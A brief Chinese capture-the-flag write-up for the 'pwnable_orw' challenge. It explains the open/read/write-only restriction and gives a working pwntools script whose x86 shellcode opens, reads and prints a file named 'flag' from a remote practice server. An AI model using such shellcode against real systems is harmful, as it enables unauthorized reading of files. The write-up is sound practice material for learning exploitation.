pwnable_orw 1

只能用read、open、write函数
那我们先open，然后read，最后write打印出来

from pwn import*

p = remote('node4.buuoj.cn','25548')

shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode += asm('mov eax,0x4;mov ebx,0x1;int 0x80')

p.sendlineafter('shellcode:', shellcode)


p.interactive()